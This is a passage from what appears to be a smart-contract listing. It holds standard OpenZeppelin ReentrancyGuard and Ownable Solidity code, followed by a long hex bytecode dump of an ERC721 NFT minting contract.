contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x60806040526004361061048b5760003560e01c80636c0360eb11610255578063bc197c8111610144578063da0239a6116100c1578063efded14711610085578063efded14714610e8b578063f23a6e6114610ead578063f2fde38b14610ed9578063f4dbf49514610ef9578063f655ff2214610f19578063fb2f1ffb14610f2e576104b9565b8063da0239a614610e01578063dbd32a9a14610e16578063e7bc820814610e36578063e985e9c514610e4b578063ec86643f14610e6b576104b9565b8063ca65409711610108578063ca65409714610d5b578063cafee7ee14610d8b578063cfe6dd5b14610dab578063d26ea6c014610dcb578063d5abeb0114610deb576104b9565b8063bc197c8114610cbc578063bf37f5d414610ce8578063c0d63c1914610d08578063c4b09ef414610d28578063c87b56dd14610d3b576104b9565b80638667de22116101d2578063a22cb46511610196578063a22cb46514610c24578063ad658ed714610c44578063adfa451f14610c64578063b75ecf1314610c84578063b88d4fde14610c9c576104b9565b80638667de2214610b835780638da5cb5b14610ba357806395d89b4114610bc15780639828dcad14610bd65780639bad0bf314610c0f576104b9565b80637b9f76b5116102195780637b9f76b514610ae05780637bf51a8914610b005780637ff9b59614610b20578063841bde4514610b365780638462151c14610b56576104b9565b80636c0360eb14610a565780636db485d814610a6b57806370a0823114610a8b578063715018a614610aab578063734fad6c14610ac0576104b9565b806331f9c9191161037c5780634f6ccce7116102f957806357861795116102bd57806357861795146109885780635c4c3cad146109a857806360948b1c146109bb5780636352211e146109f6578063663526d314610a165780636a61e5fc14610a36576104b9565b80634f6ccce7146108f557806350bd591114610915578063521c183d14610935578063534e38391461094857806355f804b314610968576104b9565b806342842e0e1161034057806342842e0e1461083c57806342966c681461085c57806343036aa31461087c57806344004cc1146108b55780634c0a5c5c146108d5576104b9565b806331f9c919146107a557806333387e2e146107bf57806339d902d8146107f25780633cb40e16146108125780633ccfd60b14610827576104b9565b8063150b7a021161040a5780631fb8b0a1116103ce5780631fb8b0a1146106fc57806323b872dd1461071c57806327cdcecf1461073c5780632ca869bf1461076f5780632f745c5914610785576104b9565b8063150b7a021461065957806317b8b1f21461069257806318160ddd146106b25780631b54c025146106c75780631c7c2598146106dd576104b9565b8063082a4c2211610451578063082a4c22146105b8578063095ea7b3146105e457806309ad1040146106065780630f69aa781461062657806314a9ecce14610646576104b9565b80622876b1146104d85780623e23c61461051857806301ffc9a71461052e57806306fdde031461055e578063081812fc14610580576104b9565b366104b95760008051602061545883398151915233346040516104af92919061465e565b60405180910390a1005b60008051602061545883398151915233346040516104af92919061465e565b3480156104e457600080fd5b506105056104f33660046146c1565b60326020526000908152604090205481565b6040519081526020015b60405180910390f35b34801561052457600080fd5b50610505602d5481565b34801561053a57600080fd5b5061054e6105493660046146f4565b610f41565b604051901515815260200161050f565b34801561056a57600080fd5b50610573610f52565b60405161050f9190614769565b34801561058c57600080fd5b506105a061059b36600461477c565b610fe4565b6040516001600160a01b03909116815260200161050f565b3480156105c457600080fd5b506016546105d29060ff1681565b60405160ff909116815260200161050f565b3480156105f057600080fd5b506106046105ff366004614795565b61107e565b005b34801561061257600080fd5b506106046106213660046147d7565b611194565b34801561063257600080fd5b5061060461064136600461477c565b6111c9565b6106046106543660046148d3565b6111f8565b34801561066557600080fd5b50610679610674366004614936565b611344565b6040516001600160e01b0319909116815260200161050f565b34801561069e57600080fd5b506106046106ad3660046149a1565b611355565b3480156106be57600080fd5b50600b54610505565b3480156106d357600080fd5b5061050560305481565b3480156106e957600080fd5b50602f5461054e90610100900460ff1681565b34801561070857600080fd5b50610604610717366004614a66565b6113ed565b34801561072857600080fd5b50610604610737366004614aee565b611429565b34801561074857600080fd5b5061075c61075736600461477c565b61145a565b60405161ffff909116815260200161050f565b34801561077b57600080fd5b50610505612a8781565b34801561079157600080fd5b506105056107a0366004614795565b611488565b3480156107b157600080fd5b50602f5461054e9060ff1681565b3480156107cb57600080fd5b506107df6107da36600461477c565b61151e565b60405160009190910b815260200161050f565b3480156107fe57600080fd5b5061060461080d366004614b3d565b611637565b34801561081e57600080fd5b5061060461166f565b34801561083357600080fd5b506106046116b5565b34801561084857600080fd5b50610604610857366004614aee565b61194d565b34801561086857600080fd5b5061060461087736600461477c565b611968565b34801561088857600080fd5b5061054e6108973660046146c1565b6001600160a01b03166000908152600f602052604090205460ff1690565b3480156108c157600080fd5b506106046108d0366004614aee565b611a67565b3480156108e157600080fd5b506105736108f036600461477c565b611a9c565b34801561090157600080fd5b5061050561091036600461477c565b611b79565b34801561092157600080fd5b5061057361093036600461477c565b611c0c565b610604610943366004614b76565b611cbb565b34801561095457600080fd5b5061075c610963366004614bf3565b611df4565b34801561097457600080fd5b50610604610983366004614c0e565b611e60565b34801561099457600080fd5b5061054e6109a336600461477c565b611ee1565b6106046109b6366004614b76565b611efa565b3480156109c757600080fd5b5061054e6109d63660046146c1565b6001600160a01b031660009081526002602052604090205460ff16151590565b348015610a0257600080fd5b506105a0610a1136600461477c565b611fb0565b348015610a2257600080fd5b506105a0610a3136600461477c565b612027565b348015610a4257600080fd5b50610604610a5136600461477c565b612051565b348015610a6257600080fd5b50610573612080565b348015610a7757600080fd5b50610604610a86366004614b3d565b61208f565b348015610a9757600080fd5b50610505610aa63660046146c1565b6120e4565b348015610ab757600080fd5b506106046120ef565b348015610acc57600080fd5b50610604610adb36600461477c565b612123565b348015610aec57600080fd5b50610604610afb366004614c42565b612152565b348015610b0c57600080fd5b50610604610b1b366004614c84565b612187565b348015610b2c57600080fd5b50610505602c5481565b348015610b4257600080fd5b50610604610b513660046149a1565b6121bb565b348015610b6257600080fd5b50610b76610b713660046146c1565b6121ef565b60405161050f9190614cf4565b348015610b8f57600080fd5b50602f546105d29062010000900460ff1681565b348015610baf57600080fd5b50600d546001600160a01b03166105a0565b348015610bcd57600080fd5b5061057361230a565b348015610be257600080fd5b506105d2610bf13660046146c1565b6001600160a01b031660009081526002602052604090205460ff1690565b348015610c1b57600080fd5b50610604612319565b348015610c3057600080fd5b50610604610c3f366004614b3d565b612360565b348015610c5057600080fd5b50610505610c5f36600461477c565b612425565b348015610c7057600080fd5b506105a0610c7f36600461477c565b6124c6565b348015610c9057600080fd5b5060305442101561054e565b348015610ca857600080fd5b50610604610cb7366004614936565b6124e6565b348015610cc857600080fd5b50610679610cd7366004614d07565b63bc197c8160e01b95945050505050565b348015610cf457600080fd5b5061075c610d0336600461477c565b612518565b348015610d1457600080fd5b50610604610d233660046147d7565b612528565b610604610d36366004614bf3565b6125f4565b348015610d4757600080fd5b50610573610d5636600461477c565b6127d5565b348015610d6757600080fd5b5061054e610d7636600461477c565b6000908152600e602052604090205460ff1690565b348015610d9757600080fd5b50610b76610da63660046146c1565b6128b6565b348015610db757600080fd5b5061075c610dc636600461477c565b612921565b348015610dd757600080fd5b50610604610de63660046146c1565b612931565b348015610df757600080fd5b50610505612a8881565b348015610e0d57600080fd5b5061050561297d565b348015610e2257600080fd5b50610604610e31366004614795565b612999565b348015610e4257600080fd5b506106046129f6565b348015610e5757600080fd5b5061054e610e66366004614da7565b612a2f565b348015610e7757600080fd5b50610604610e86366004614dd5565b612afb565b348015610e9757600080fd5b50610ea0612b30565b60405161050f9190614e24565b348015610eb957600080fd5b50610679610ec8366004614e71565b63f23a6e6160e01b95945050505050565b348015610ee557600080fd5b50610604610ef43660046146c1565b612b65565b348015610f0557600080fd5b50610604610f14366004614795565b612c00565b348015610f2557600080fd5b50610604612cac565b610604610f3c366004614ecd565b612cea565b6000610f4c82612f53565b92915050565b606060038054610f6190614ef0565b80601f0160208091040260200160405190810160405280929190818152602001828054610f8d90614ef0565b8015610fda5780601f10610faf57610100808354040283529160200191610fda565b820191906000526020600020905b815481529060010190602001808311610fbd57829003601f168201915b5050505050905090565b6000818152600560205260408120546001600160a01b03166110625760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600760205260409020546001600160a01b031690565b600061108982611fb0565b9050806001600160a01b0316836001600160a01b031614156110f75760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401611059565b336001600160a01b038216148061111357506111138133612a2f565b6111855760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401611059565b61118f8383612f78565b505050565b600d546001600160a01b031633146111be5760405162461bcd60e51b815260040161105990614f25565b61118f838383612fe6565b600d546001600160a01b031633146111f35760405162461bcd60e51b815260040161105990614f25565b603055565b428311156112185760405162461bcd60e51b815260040161105990614f5a565b60006112963387878787604051602001611236959493929190614f7b565b60408051601f1981840301815282825280516020918201207f19457468657265756d205369676e6564204d6573736167653a0a33320000000084830152603c8085019190915282518085039091018152605c909301909152815191012090565b90508434146112b75760405162461bcd60e51b815260040161105990614fad565b6112c2818385613142565b6113045760405162461bcd60e51b81526020600482015260136024820152724572726f7220696e207369676e6564206d736760681b6044820152606401611059565b61130e33876131bc565b341561133c576000805160206154588339815191523334604051611333929190614fd4565b60405180910390a15b505050505050565b630a85bd0160e11b5b949350505050565b600d546001600160a01b0316331461137f5760405162461bcd60e51b815260040161105990614f25565b6113888261151e565b60000b600019146113ce5760405162461bcd60e51b815260206004820152601060248201526f27379039b832b1b4b0b6103a37b5b2b760811b6044820152606401611059565b6000828152603a60209081526040909120825161118f928401906145c5565b600d546001600160a01b031633146114175760405162461bcd60e51b815260040161105990614f25565b61142384848484613291565b50505050565b61143333826132fe565b61144f5760405162461bcd60e51b815260040161105990615022565b61118f8383836133cd565b6038816003811061146a57600080fd5b60109182820401919006600202915054906101000a900461ffff1681565b600061149383613578565b82106114f55760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401611059565b506001600160a01b03919091166000908152600960209081526040808320938352929052205490565b6039546000906000199061ffff168310806115c257506001603761154382600361509f565b6003811061155357611553615073565b601091828204019190066002029054906101000a900461ffff1660396001600361157d919061509f565b6003811061158d5761158d615073565b601091828204019190066002029054906101000a900461ffff166115b191906150b6565b6115bb91906150dc565b61ffff1683115b156115d1575060001992915050565b60005b60038160ff161015611630578360398260ff16600381106115f7576115f7615073565b601091828204019190066002029054906101000a900461ffff1661ffff161161161e578091505b80611628816150ff565b9150506115d4565b5092915050565b600d546001600160a01b031633146116615760405162461bcd60e51b815260040161105990614f25565b61166b8282612f28565b5050565b600d546001600160a01b031633146116995760405162461bcd60e51b815260040161105990614f25565b6116b36116ae600d546001600160a01b031690565b6135ff565b565b600260005414156116d85760405162461bcd60e51b81526004016110599061511f565b600260005547806117185760405162461bcd60e51b815260206004820152600a6024820152694e6f2062616c616e636560b01b6044820152606401611059565b6001548061175f5760405162461bcd60e51b81526020600482015260146024820152730c081d19585b481b595b58995c9cc8199bdd5b9960621b6044820152606401611059565b600060015b8281101561188e576000600260006001848154811061178557611785615073565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff166117b860648761516c565b6117c29190615180565b9050801561187b57600182815481106117dd576117dd615073565b60009182526020822001546040516001600160a01b039091169183919081818185875af1925050503d8060008114611831576040519150601f19603f3d011682016040523d82523d6000602084013e611836565b606091505b5050809350508261187b5760405162461bcd60e51b815260206004820152600f60248201526e15da5d1a191c985dc819985a5b1959608a1b6044820152606401611059565b50806118868161519f565b915050611764565b5060016000815481106118a3576118a3615073565b60009182526020822001546040516001600160a01b039091169147919081818185875af1925050503d80600081146118f7576040519150601f19603f3d011682016040523d82523d6000602084013e6118fc565b606091505b505080915050806119435760405162461bcd60e51b815260206004820152601160248201527005769746864726177206661696c65642d3607c1b6044820152606401611059565b5050600160005550565b61118f838383604051806020016040528060008152506124e6565b6002600054141561198b5760405162461bcd60e51b81526004016110599061511f565b6002600055602f54610100900460ff166119dd5760405162461bcd60e51b8152602060048201526013602482015272213ab93734b733903737ba1030b1ba34bb329760691b6044820152606401611059565b6119e6816136e5565b33600090815260156020526040902054611a3d57601780546001810182556000919091527fc624b66cc0138b8fabc209247f72d758e1cf3343756d543badbf24212bed8c150180546001600160a01b031916331790555b33600090815260156020908152604082208054600181810183559184529183209091019290925555565b600d546001600160a01b03163314611a915760405162461bcd60e51b815260040161105990614f25565b61118f83838361378c565b60606000611aa983612425565b9050806000191415611acb575050604080516020810190915260008152919050565b60108181548110611ade57611ade615073565b906000526020600020018054611af390614ef0565b80601f0160208091040260200160405190810160405280929190818152602001828054611b1f90614ef0565b8015611b6c5780601f10611b4157610100808354040283529160200191611b6c565b820191906000526020600020905b815481529060010190602001808311611b4f57829003601f168201915b5050505050915050919050565b6000611b84600b5490565b8210611be75760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401611059565b600b8281548110611bfa57611bfa615073565b90600052602060002001549050919050565b606060108281548110611c2157611c21615073565b906000526020600020018054611c3690614ef0565b80601f0160208091040260200160405190810160405280929190818152602001828054611c6290614ef0565b8015611caf5780601f10611c8457610100808354040283529160200191611caf565b820191906000526020600020905b815481529060010190602001808311611c9257829003601f168201915b50505050509050919050565b42831115611cdb5760405162461bcd60e51b815260040161105990614f5a565b84861115611d1c5760405162461bcd60e51b815260206004820152600e60248201526d416d6f756e7420746f6f2062696760901b6044820152606401611059565b6000611d3a3387878787604051602001611236959493929190614f7b565b9050611d468786615180565b3414611d645760405162461bcd60e51b815260040161105990614fad565b611d6f818385613142565b611db15760405162461bcd60e51b81526020600482015260136024820152724572726f7220696e207369676e6564206d736760681b6044820152606401611059565b611dbc33888a613818565b3415611dea576000805160206154588339815191523334604051611de1929190614fd4565b60405180910390a15b5050505050505050565b600060388260ff1660038110611e0c57611e0c615073565b601091828204019190066002029054906101000a900461ffff1660378360ff1660038110611e3c57611e3c615073565b601091828204019190066002029054906101000a900461ffff16610f4c91906150dc565b600d546001600160a01b03163314611e8a5760405162461bcd60e51b815260040161105990614f25565b60345460ff1615611ece5760405162461bcd60e51b815260206004820152600e60248201526d2130b9b2aaa92490333937bd32b760911b6044820152606401611059565b805161166b9060339060208401906145c5565b6000611eec8261151e565b60000b600019149050919050565b42831115611f1a5760405162461bcd60e51b815260040161105990614f5a565b84861115611f5b5760405162461bcd60e51b815260206004820152600e60248201526d416d6f756e7420746f6f2062696760901b6044820152606401611059565b6040516001600160601b03193360601b1660208201526001600160f81b031960f889901b16603482015260358101869052605581018590526075810184905260958101839052600090611d3a9060b501611236565b6000818152600560205260408120546001600160a01b031680610f4c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401611059565b6017818154811061203757600080fd5b6000918252602090912001546001600160a01b0316905081565b600d546001600160a01b0316331461207b5760405162461bcd60e51b815260040161105990614f25565b602c55565b606060338054610f6190614ef0565b600d546001600160a01b031633146120b95760405162461bcd60e51b815260040161105990614f25565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b6000610f4c82613578565b600d546001600160a01b031633146121195760405162461bcd60e51b815260040161105990614f25565b6116b360006139c8565b600d546001600160a01b0316331461214d5760405162461bcd60e51b815260040161105990614f25565b602d55565b600d546001600160a01b0316331461217c5760405162461bcd60e51b815260040161105990614f25565b61118f838383613a1a565b600d546001600160a01b031633146121b15760405162461bcd60e51b815260040161105990614f25565b61166b8282612e11565b600d546001600160a01b031633146121e55760405162461bcd60e51b815260040161105990614f25565b61166b8282613a81565b6001600160a01b038116600090815260316020526040902054606090431161224e5760405162461bcd60e51b815260206004820152601260248201527148656c6c6f204030786e6965747a7363686560701b6044820152606401611059565b6000612259836120e4565b90508061227a5760408051600080825260208201909252905b509392505050565b6000816001600160401b038111156122945761229461481e565b6040519080825280602002602001820160405280156122bd578160200160208202803683370190505b50905060005b82811015612272576122d58582611488565b8282815181106122e7576122e7615073565b6020908102919091010152806122fc8161519f565b9150506122c3565b50919050565b606060048054610f6190614ef0565b600d546001600160a01b031633146123435760405162461bcd60e51b815260040161105990614f25565b602f805461ff001981166101009182900460ff1615909102179055565b6001600160a01b0382163314156123b95760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401611059565b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6011546000906124385750600019919050565b60115460009061244a9060019061509f565b90505b600081126124bc57826011828154811061246957612469615073565b90600052602060002001541115801561249f5750826012828154811061249157612491615073565b906000526020600020015410155b156124aa5792915050565b806124b4816151ba565b91505061244d565b5060001992915050565b601881601481106124d657600080fd5b01546001600160a01b0316905081565b6124f033836132fe565b61250c5760405162461bcd60e51b815260040161105990615022565b61142384848484613ab2565b6037816003811061146a57600080fd5b6002600054141561254b5760405162461bcd60e51b81526004016110599061511f565b60026000818155338152602091909152604090205460ff166125a05760405162461bcd60e51b815260206004820152600e60248201526d2737903a32b0b69036b2b6b132b960911b6044820152606401611059565b336001600160a01b038416146125e95760405162461bcd60e51b815260206004820152600e60248201526d2737ba103a34329039b2b73232b960911b6044820152606401611059565b611943838383612fe6565b600260005414156126175760405162461bcd60e51b81526004016110599061511f565b6002600055602f5460ff16801561263057506030544210155b6126745760405162461bcd60e51b81526020600482015260156024820152744d696e74696e67206973206e6f742061637469766560581b6044820152606401611059565b602f5462010000900460ff166126cc5760405162461bcd60e51b815260206004820152601d60248201527f4e6f206d6f7265207072656d69756d206d696e74696e6720736c6f74730000006044820152606401611059565b612a886126d8600b5490565b111561271f5760405162461bcd60e51b815260206004820152601660248201527513585e1a5b5d5b481cdd5c1c1b1e481c995858da195960521b6044820152606401611059565b602d5434146127405760405162461bcd60e51b815260040161105990614fad565b602f54339060189061275d9060019062010000900460ff166151d8565b60ff166014811061277057612770615073565b0180546001600160a01b0319166001600160a01b0392909216919091179055602f805462010000900460ff169060026127a8836151fb565b91906101000a81548160ff021916908360ff160217905550506127cd33600183613818565b506001600055565b6000818152600560205260409020546060906001600160a01b031661280c5760405162461bcd60e51b815260040161105990615218565b600061281783612425565b9050806000191461286c57600061282d82611c0c565b80519091501561286a578061284185613ae5565b604051602001612852929190615267565b60405160208183030381529060405292505050919050565b505b6000838152603a60205260409020805461288590614ef0565b1515905061289d5761289683613be2565b9392505050565b6000838152603a602052604090208054611af390614ef0565b6001600160a01b038116600090815260156020908152604091829020805483518184028101840190945280845260609392830182828015611caf57602002820191906000526020600020905b8154815260200190600101908083116129025750505050509050919050565b6039816003811061146a57600080fd5b600d546001600160a01b0316331461295b5760405162461bcd60e51b815260040161105990614f25565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000612988600b5490565b61299490612a8861509f565b905090565b3360009081526014602052604090205460ff166129ec5760405162461bcd60e51b81526020600482015260116024820152702737ba1030b71030b4b9323937b83832b960791b6044820152606401611059565b61166b82826131bc565b600d546001600160a01b03163314612a205760405162461bcd60e51b815260040161105990614f25565b6034805460ff19166001179055565b60135460405163c455279160e01b81526001600160a01b03848116600483015260009281169190841690829063c45527919060240160206040518083038186803b158015612a7c57600080fd5b505afa158015612a90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ab4919061528d565b6001600160a01b03161415612acd576001915050610f4c565b6001600160a01b0380851660009081526008602090815260408083209387168352929052205460ff1661134d565b600d546001600160a01b03163314612b255760405162461bcd60e51b815260040161105990614f25565b61118f838383613c74565b600d546060906001600160a01b03163314612b5d5760405162461bcd60e51b815260040161105990614f25565b612994613d13565b600d546001600160a01b03163314612b8f5760405162461bcd60e51b815260040161105990614f25565b6001600160a01b038116612bf45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401611059565b612bfd816139c8565b50565b3360009081526002602052604090205460ff16612c505760405162461bcd60e51b815260206004820152600e60248201526d2737903a32b0b69036b2b6b132b960911b6044820152606401611059565b612c598161151e565b60000b600019146129ec5760405162461bcd60e51b815260206004820152601760248201527f546f6b656e20696e207075626c69632073656374696f6e0000000000000000006044820152606401611059565b600d546001600160a01b03163314612cd65760405162461bcd60e51b815260040161105990614f25565b602f805460ff19811660ff90911615179055565b60026000541415612d0d5760405162461bcd60e51b81526004016110599061511f565b6002600055602f5460ff168015612d2657506030544210155b612d6a5760405162461bcd60e51b81526020600482015260156024820152744d696e74696e67206973206e6f742061637469766560581b6044820152606401611059565b3482602c54612d799190615180565b14612d965760405162461bcd60e51b815260040161105990614fad565b612d9f81611df4565b61ffff16821115612dfd5760405162461bcd60e51b815260206004820152602260248201527f507572636861736520616d6f756e742065786365656473206d617820737570706044820152616c7960f01b6064820152608401611059565b612e08338383613818565b50506001600055565b6001600160a01b03821660009081526002602052604090205460ff1615612e7a5760405162461bcd60e51b815260206004820152601960248201527f5465616d206d656d62657220616c7265616479206164646564000000000000006044820152606401611059565b60658160ff1610612ebd5760405162461bcd60e51b815260206004820152600d60248201526c53706c697420746f6f2062696760981b6044820152606401611059565b600180548082019091557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60180546001600160a01b0319166001600160a01b03939093169283179055600091825260026020526040909120805460ff191660ff909216919091179055565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b60006001600160e01b0319821663780e9d6360e01b1480610f4c5750610f4c82613d74565b600081815260076020526040902080546001600160a01b0319166001600160a01b0384169081179091558190612fad82611fb0565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6001600160a01b03831660009081526002602052604090205460ff90811690821611156130455760405162461bcd60e51b815260206004820152600d60248201526c53706c697420746f6f2062696760981b6044820152606401611059565b6001600160a01b03821660009081526002602052604090205460ff166130b0576001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60180546001600160a01b0319166001600160a01b0384161790555b6001600160a01b0383166000908152600260205260409020546130d790829060ff166151d8565b6001600160a01b03848116600090815260026020526040808220805460ff191660ff95861617905591851681522054613112918391166152aa565b6001600160a01b03929092166000908152600260205260409020805460ff191660ff909316929092179091555050565b6000818152600e602052604081205460ff161561316157506000612896565b600f600061316f8686613db4565b6001600160a01b0316815260208101919091526040016000205460ff1661319857506000612896565b506000818152600e60205260409020805460ff191660019081179091559392505050565b612a878111156132035760405162461bcd60e51b81526020600482015260126024820152710a8ded6cadc40deeae840decc40d2dcc8caf60731b6044820152606401611059565b61320d8282613e33565b613218816000613e4d565b5060006132248261151e565b90508060000b6000191461118f5760388160ff166003811061324857613248615073565b6010918282040191900660020281819054906101000a900461ffff1680929190613271906152cf565b91906101000a81548161ffff021916908361ffff16021790555050505050565b604051631759616b60e11b815284906001600160a01b03821690632eb2c2d6906132c59030908690899089906004016152f1565b600060405180830381600087803b1580156132df57600080fd5b505af11580156132f3573d6000803e3d6000fd5b505050505050505050565b6000818152600560205260408120546001600160a01b03166133775760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401611059565b600061338283611fb0565b9050806001600160a01b0316846001600160a01b031614806133bd5750836001600160a01b03166133b284610fe4565b6001600160a01b0316145b8061134d575061134d8185612a2f565b826001600160a01b03166133e082611fb0565b6001600160a01b0316146134485760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401611059565b6001600160a01b0382166134aa5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401611059565b6134b5838383614083565b6134c0600082612f78565b6001600160a01b03831660009081526006602052604081208054600192906134e990849061509f565b90915550506001600160a01b038216600090815260066020526040812080546001929061351790849061534c565b909155505060008181526005602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60006001600160a01b0382166135e35760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401611059565b506001600160a01b031660009081526006602052604090205490565b6001541561364f5760405162461bcd60e51b815260206004820152601860248201527f5465616d206d656d626572732061726520646566696e656400000000000000006044820152606401611059565b6000816001600160a01b03164760405160006040518083038185875af1925050503d806000811461369c576040519150601f19603f3d011682016040523d82523d6000602084013e6136a1565b606091505b505090508061166b5760405162461bcd60e51b815260206004820152601060248201526f2bb4ba34323930bb903330b4b632b21760811b6044820152606401611059565b60006136f082611fb0565b90506136fe81600084614083565b613709600083612f78565b6001600160a01b038116600090815260066020526040812080546001929061373290849061509f565b909155505060008281526005602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284919082169063a9059cbb90604401602060405180830381600087803b1580156137d957600080fd5b505af11580156137ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138119190615364565b5050505050565b60165460ff168211156138635760405162461bcd60e51b815260206004820152601360248201527213585e08185b5bdd5b9d08195e18d959591959606a1b6044820152606401611059565b60005b8281101561396357600061387b600084613e4d565b905060378360ff166003811061389357613893615073565b601091828204019190066002029054906101000a900461ffff1661ffff1660388460ff16600381106138c7576138c7615073565b601091828204019190066002029054906101000a900461ffff1661ffff161015613950576138f58582613e33565b60388360ff166003811061390b5761390b615073565b6010918282040191900660020281819054906101000a900461ffff1680929190613934906152cf565b91906101000a81548161ffff021916908361ffff160217905550505b508061395b8161519f565b915050613866565b50811561118f5733600090815260316020908152604080832043905560329091528120805484929061399690849061534c565b9091555050604051600080516020615458833981519152906139bb9033903490614fd4565b60405180910390a1505050565b600d80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051632142170760e11b81523060048201526001600160a01b038281166024830152604482018490528491908216906342842e0e90606401600060405180830381600087803b158015613a6d57600080fd5b505af1158015611dea573d6000803e3d6000fd5b8060108381548110613a9557613a95615073565b90600052602060002001908051906020019061118f9291906145c5565b613abd8484846133cd565b613ac98484848461408e565b6114235760405162461bcd60e51b815260040161105990615381565b606081613b095750506040805180820190915260018152600360fc1b602082015290565b8160005b8115613b335780613b1d8161519f565b9150613b2c9050600a8361516c565b9150613b0d565b6000816001600160401b03811115613b4d57613b4d61481e565b6040519080825280601f01601f191660200182016040528015613b77576020820181803683370190505b5090505b841561134d57613b8c60018361509f565b9150613b99600a866153d3565b613ba490603061534c565b60f81b818381518110613bb957613bb9615073565b60200101906001600160f81b031916908160001a905350613bdb600a8661516c565b9450613b7b565b6000818152600560205260409020546060906001600160a01b0316613c195760405162461bcd60e51b815260040161105990615218565b6000613c23612080565b90506000815111613c435760405180602001604052806000815250612896565b80613c4d84613ae5565b604051602001613c5e929190615267565b6040516020818303038152906040529392505050565b6011805460018181019092557f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c6801849055601280548083019091557fbb8a6a4669ba250d26cd7a459eca9d215f8307e33aebe50379bc5a3617ec3444018390556010805491820181556000528151611423917f1b6847dc741a1b0c